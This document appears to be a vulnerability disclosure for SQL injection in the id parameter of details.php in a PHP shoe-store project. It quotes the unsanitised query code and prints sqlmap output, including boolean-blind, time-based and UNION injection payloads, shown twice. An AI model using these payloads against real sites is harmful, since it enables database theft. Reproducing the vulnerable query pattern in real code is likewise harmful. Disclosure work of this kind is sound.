

SQL injection vulnerability exists in id parameter of details.php file of Retro Basketball Shoes Online Store

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
108      <?php
109      if(isset($_GET['id'])) {
110          $id = $_GET['id'];
111          $query = $conn->query("SELECT * FROM product WHERE product_id = '$id' ");
112          $row = $query->fetch_array();
113      }
114      </div>
```

```
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
--
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: id=(1' AND 5495=(SELECT (CASE WHEN (5495=5495) THEN 5495 ELSE (SELECT 5425 UNION SELECT 5948) END))-- -

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=(1' AND (SELECT 7671 FROM (SELECT(SLEEP(5)))GVpT) AND 'FZeY'='FZeY

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=(1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a787171,0x4d6d514158796368476f737a7a665875507974514d6d594f624b774e4f5357704b65417464615450,0x7176707171),NULL,NULL,NULL-- -
--
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: id=(1' AND 5495=(SELECT (CASE WHEN (5495=5495) THEN 5495 ELSE (SELECT 5425 UNION SELECT 5948) END))-- -

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=(1' AND (SELECT 7671 FROM (SELECT(SLEEP(5)))GVpT) AND 'FZeY'='FZeY

Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: id=(1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a787171,0x4d6d514158796368476f737a7a665875507974514d6d594f624b774e4f5357704b65417464615450,0x7176707171),NULL,NULL,NULL-- -

“

Source Download:

<https://www.campcodes.com/projects/php/retro-basketball-shoes-online-store-in-php-mysql/>